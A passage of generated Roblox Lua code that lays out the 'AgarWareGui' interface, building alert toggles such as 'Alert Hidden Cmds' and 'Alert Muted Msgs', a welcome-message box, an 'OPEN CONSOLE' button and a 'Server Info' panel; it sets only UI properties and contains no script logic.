G2L["2a0"]["Text"] = [[]];
G2L["2a0"]["Name"] = [[MutedSpyTickBox]];
G2L["2a0"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.MutedSpyRow.MutedSpyText
G2L["2a1"] = Instance.new("TextLabel", G2L["29f"]);
G2L["2a1"]["BorderSizePixel"] = 0;
G2L["2a1"]["TextSize"] = 14;
G2L["2a1"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a1"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a1"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a1"]["BackgroundTransparency"] = 1;
G2L["2a1"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a1"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a1"]["Text"] = [[Alert Muted Msgs]];
G2L["2a1"]["Name"] = [[MutedSpyText]];
G2L["2a1"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow
G2L["2a2"] = Instance.new("Frame", G2L["296"]);
G2L["2a2"]["BorderSizePixel"] = 0;
G2L["2a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a2"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a2"]["Name"] = [[EnlightenLogRow]];
G2L["2a2"]["LayoutOrder"] = 7;
G2L["2a2"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogScript
G2L["2a3"] = Instance.new("LocalScript", G2L["2a2"]);
G2L["2a3"]["Name"] = [[EnlightenLogScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogTickBox
G2L["2a4"] = Instance.new("TextButton", G2L["2a2"]);
G2L["2a4"]["TextSize"] = 14;
G2L["2a4"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a4"]["ZIndex"] = 5;
G2L["2a4"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a4"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a4"]["Text"] = [[]];
G2L["2a4"]["Name"] = [[EnlightenLogTickBox]];
G2L["2a4"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.EnlightenLogRow.EnlightenLogText
G2L["2a5"] = Instance.new("TextLabel", G2L["2a2"]);
G2L["2a5"]["BorderSizePixel"] = 0;
G2L["2a5"]["TextSize"] = 14;
G2L["2a5"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a5"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a5"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a5"]["BackgroundTransparency"] = 1;
G2L["2a5"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a5"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a5"]["Text"] = [[Alert Enlighteners]];
G2L["2a5"]["Name"] = [[EnlightenLogText]];
G2L["2a5"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow
G2L["2a6"] = Instance.new("Frame", G2L["296"]);
G2L["2a6"]["BorderSizePixel"] = 0;
G2L["2a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a6"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a6"]["Name"] = [[ArkSpyRow]];
G2L["2a6"]["LayoutOrder"] = 6;
G2L["2a6"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyTickBox
G2L["2a7"] = Instance.new("TextButton", G2L["2a6"]);
G2L["2a7"]["TextSize"] = 14;
G2L["2a7"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a7"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a7"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a7"]["ZIndex"] = 5;
G2L["2a7"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2a7"]["Text"] = [[]];
G2L["2a7"]["Name"] = [[ArkSpyTickBox]];
G2L["2a7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.ArkSpyRow.ArkSpyText
G2L["2a8"] = Instance.new("TextLabel", G2L["2a6"]);
G2L["2a8"]["BorderSizePixel"] = 0;
G2L["2a8"]["TextSize"] = 14;
G2L["2a8"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2a8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2a8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a8"]["BackgroundTransparency"] = 1;
G2L["2a8"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2a8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a8"]["Text"] = [[Alert Hidden Cmds]];
G2L["2a8"]["Name"] = [[ArkSpyText]];
G2L["2a8"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow
G2L["2a9"] = Instance.new("Frame", G2L["296"]);
G2L["2a9"]["BorderSizePixel"] = 0;
G2L["2a9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2a9"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2a9"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2a9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2a9"]["Name"] = [[BkitDeleteRow]];
G2L["2a9"]["LayoutOrder"] = 7;
G2L["2a9"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteScript
G2L["2aa"] = Instance.new("LocalScript", G2L["2a9"]);
G2L["2aa"]["Name"] = [[BkitDeleteScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteTickBox
G2L["2ab"] = Instance.new("TextButton", G2L["2a9"]);
G2L["2ab"]["TextSize"] = 14;
G2L["2ab"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ab"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ab"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ab"]["ZIndex"] = 5;
G2L["2ab"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2ab"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2ab"]["Text"] = [[]];
G2L["2ab"]["Name"] = [[BkitDeleteTickBox]];
G2L["2ab"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.BkitDeleteRow.BkitDeleteText
G2L["2ac"] = Instance.new("TextLabel", G2L["2a9"]);
G2L["2ac"]["BorderSizePixel"] = 0;
G2L["2ac"]["TextSize"] = 14;
G2L["2ac"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ac"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ac"]["BackgroundTransparency"] = 1;
G2L["2ac"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ac"]["Text"] = [[Alert Bkit Disabler]];
G2L["2ac"]["Name"] = [[BkitDeleteText]];
G2L["2ac"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow
G2L["2ad"] = Instance.new("Frame", G2L["296"]);
G2L["2ad"]["BorderSizePixel"] = 0;
G2L["2ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ad"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2ad"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ad"]["Name"] = [[RepPaintsRow]];
G2L["2ad"]["LayoutOrder"] = 8;
G2L["2ad"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsScript
G2L["2ae"] = Instance.new("LocalScript", G2L["2ad"]);
G2L["2ae"]["Name"] = [[RepPaintsScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsTickBox
G2L["2af"] = Instance.new("TextButton", G2L["2ad"]);
G2L["2af"]["TextSize"] = 14;
G2L["2af"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2af"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2af"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2af"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2af"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2af"]["Text"] = [[]];
G2L["2af"]["Name"] = [[RepPaintsTickBox]];
G2L["2af"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.AlertGroup.RepPaintsRow.RepPaintsText
G2L["2b0"] = Instance.new("TextLabel", G2L["2ad"]);
G2L["2b0"]["BorderSizePixel"] = 0;
G2L["2b0"]["TextSize"] = 14;
G2L["2b0"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2b0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b0"]["BackgroundTransparency"] = 1;
G2L["2b0"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2b0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b0"]["Text"] = [[Alert Rep Changes]];
G2L["2b0"]["Name"] = [[RepPaintsText]];
G2L["2b0"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup
G2L["2b1"] = Instance.new("Frame", G2L["294"]);
G2L["2b1"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2b1"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2b1"]["Size"] = UDim2.new(0, 170, 0, 62);
G2L["2b1"]["Position"] = UDim2.new(0, 0, 0.41944, 0);
G2L["2b1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2b1"]["Name"] = [[PlayerAlertGroup]];
G2L["2b1"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTooltip
G2L["2b2"] = Instance.new("LocalScript", G2L["2b1"]);
G2L["2b2"]["Name"] = [[PlayerAlertTooltip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertScript
G2L["2b3"] = Instance.new("LocalScript", G2L["2b1"]);
G2L["2b3"]["Name"] = [[PlayerAlertScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.UIListLayout
G2L["2b4"] = Instance.new("UIListLayout", G2L["2b1"]);
G2L["2b4"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertAccentColor
G2L["2b5"] = Instance.new("Frame", G2L["2b1"]);
G2L["2b5"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2b5"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2b5"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2b5"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2b5"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2b5"]["Name"] = [[PlayerAlertAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle
G2L["2b6"] = Instance.new("TextLabel", G2L["2b1"]);
G2L["2b6"]["TextWrapped"] = true;
G2L["2b6"]["BorderSizePixel"] = 0;
G2L["2b6"]["TextSize"] = 14;
G2L["2b6"]["TextScaled"] = true;
G2L["2b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b6"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2b6"]["BackgroundTransparency"] = 0.95;
G2L["2b6"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b6"]["Text"] = [[Player Alerts]];
G2L["2b6"]["LayoutOrder"] = 1;
G2L["2b6"]["Name"] = [[PlayerAlertTitle]];
G2L["2b6"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.PlayerAlertTitle.PlayerAlertMinimize
G2L["2b7"] = Instance.new("TextButton", G2L["2b6"]);
G2L["2b7"]["BorderSizePixel"] = 0;
G2L["2b7"]["TextSize"] = 14;
G2L["2b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2b7"]["BackgroundTransparency"] = 1;
G2L["2b7"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b7"]["Text"] = [[-]];
G2L["2b7"]["Name"] = [[PlayerAlertMinimize]];
G2L["2b7"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow
G2L["2b8"] = Instance.new("Frame", G2L["2b1"]);
G2L["2b8"]["BorderSizePixel"] = 0;
G2L["2b8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2b8"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2b8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2b8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2b8"]["Name"] = [[WelcomeRow]];
G2L["2b8"]["LayoutOrder"] = 2;
G2L["2b8"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeScript
G2L["2b9"] = Instance.new("LocalScript", G2L["2b8"]);
G2L["2b9"]["Name"] = [[WelcomeScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeTickBox
G2L["2ba"] = Instance.new("TextButton", G2L["2b8"]);
G2L["2ba"]["TextSize"] = 14;
G2L["2ba"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ba"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ba"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2ba"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2ba"]["Text"] = [[]];
G2L["2ba"]["Name"] = [[WelcomeTickBox]];
G2L["2ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeRow.WelcomeText
G2L["2bb"] = Instance.new("TextLabel", G2L["2b8"]);
G2L["2bb"]["BorderSizePixel"] = 0;
G2L["2bb"]["TextSize"] = 14;
G2L["2bb"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["2bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bb"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2bb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bb"]["BackgroundTransparency"] = 1;
G2L["2bb"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["2bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2bb"]["Text"] = [[Welcome Messages]];
G2L["2bb"]["Name"] = [[WelcomeText]];
G2L["2bb"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow
G2L["2bc"] = Instance.new("Frame", G2L["2b1"]);
G2L["2bc"]["BorderSizePixel"] = 0;
G2L["2bc"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2bc"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2bc"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2bc"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2bc"]["Name"] = [[WelcomeMSGRow]];
G2L["2bc"]["LayoutOrder"] = 3;
G2L["2bc"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGScript
G2L["2bd"] = Instance.new("LocalScript", G2L["2bc"]);
G2L["2bd"]["Name"] = [[WelcomeMSGScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGChanger
G2L["2be"] = Instance.new("TextBox", G2L["2bc"]);
G2L["2be"]["Name"] = [[WelcomeMSGChanger]];
G2L["2be"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2be"]["TextWrapped"] = true;
G2L["2be"]["TextSize"] = 14;
G2L["2be"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2be"]["TextScaled"] = true;
G2L["2be"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2be"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2be"]["ClearTextOnFocus"] = false;
G2L["2be"]["Size"] = UDim2.new(0, 134, 0, 16);
G2L["2be"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0);
G2L["2be"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2be"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscRightSide.PlayerAlertGroup.WelcomeMSGRow.WelcomeMSGHelp
G2L["2bf"] = Instance.new("TextButton", G2L["2bc"]);
G2L["2bf"]["TextSize"] = 14;
G2L["2bf"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["2bf"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["2bf"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["2bf"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["2bf"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["2bf"]["Text"] = [[?]];
G2L["2bf"]["Name"] = [[WelcomeMSGHelp]];
G2L["2bf"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE
G2L["2c0"] = Instance.new("TextButton", G2L["17"]);
G2L["2c0"]["TextWrapped"] = true;
G2L["2c0"]["TextSize"] = 12;
G2L["2c0"]["TextScaled"] = true;
G2L["2c0"]["TextColor3"] = Color3.fromRGB(125, 125, 125);
G2L["2c0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c0"]["Size"] = UDim2.new(0, 60, 0, 25);
G2L["2c0"]["LayoutOrder"] = 5;
G2L["2c0"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c0"]["Text"] = [[OPEN CONSOLE]];
G2L["2c0"]["Name"] = [[OPENCONSOLE]];
G2L["2c0"]["Position"] = UDim2.new(-0.186, 0, 0.906, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.OPENCONSOLE.LocalScript
G2L["2c1"] = Instance.new("LocalScript", G2L["2c0"]);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage
G2L["2c2"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["2c2"]["Active"] = true;
G2L["2c2"]["BorderSizePixel"] = 0;
G2L["2c2"]["Name"] = [[MenuPage]];
G2L["2c2"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["2c2"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["2c2"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c2"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["2c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c2"]["ScrollBarThickness"] = 0;
G2L["2c2"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide
G2L["2c3"] = Instance.new("Frame", G2L["2c2"]);
G2L["2c3"]["BorderSizePixel"] = 0;
G2L["2c3"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["2c3"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["2c3"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["2c3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c3"]["Name"] = [[MenuLeftSide]];
G2L["2c3"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.UIListLayout
G2L["2c4"] = Instance.new("UIListLayout", G2L["2c3"]);
G2L["2c4"]["Padding"] = UDim.new(0, 7);
G2L["2c4"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup
G2L["2c5"] = Instance.new("Frame", G2L["2c3"]);
G2L["2c5"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["2c5"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["2c5"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["2c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["2c5"]["Name"] = [[ServerGroup]];
G2L["2c5"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerScript
G2L["2c6"] = Instance.new("LocalScript", G2L["2c5"]);
G2L["2c6"]["Name"] = [[ServerScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.UIListLayout
G2L["2c7"] = Instance.new("UIListLayout", G2L["2c5"]);
G2L["2c7"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerAccentColor
G2L["2c8"] = Instance.new("Frame", G2L["2c5"]);
G2L["2c8"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["2c8"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["2c8"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["2c8"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["2c8"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["2c8"]["Name"] = [[ServerAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle
G2L["2c9"] = Instance.new("TextLabel", G2L["2c5"]);
G2L["2c9"]["TextWrapped"] = true;
G2L["2c9"]["BorderSizePixel"] = 0;
G2L["2c9"]["TextSize"] = 14;
G2L["2c9"]["TextScaled"] = true;
G2L["2c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2c9"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["2c9"]["BackgroundTransparency"] = 0.95;
G2L["2c9"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["2c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2c9"]["Text"] = [[Server Info]];
G2L["2c9"]["LayoutOrder"] = 1;
G2L["2c9"]["Name"] = [[ServerTitle]];
G2L["2c9"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.ServerTitle.ServerMinimize
G2L["2ca"] = Instance.new("TextButton", G2L["2c9"]);
G2L["2ca"]["BorderSizePixel"] = 0;
G2L["2ca"]["TextSize"] = 14;
G2L["2ca"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ca"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["2ca"]["BackgroundTransparency"] = 1;
G2L["2ca"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["2ca"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2ca"]["Text"] = [[-]];
G2L["2ca"]["Name"] = [[ServerMinimize]];
G2L["2ca"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MenuPage.MenuLeftSide.ServerGroup.PlayersRow
G2L["2cb"] = Instance.new("Frame", G2L["2c5"]);
G2L["2cb"]["BorderSizePixel"] = 0;
G2L["2cb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["2cb"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["2cb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["2cb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["2cb"]["Name"] = [[PlayersRow]];
G2L["2cb"]["LayoutOrder"] = 1;
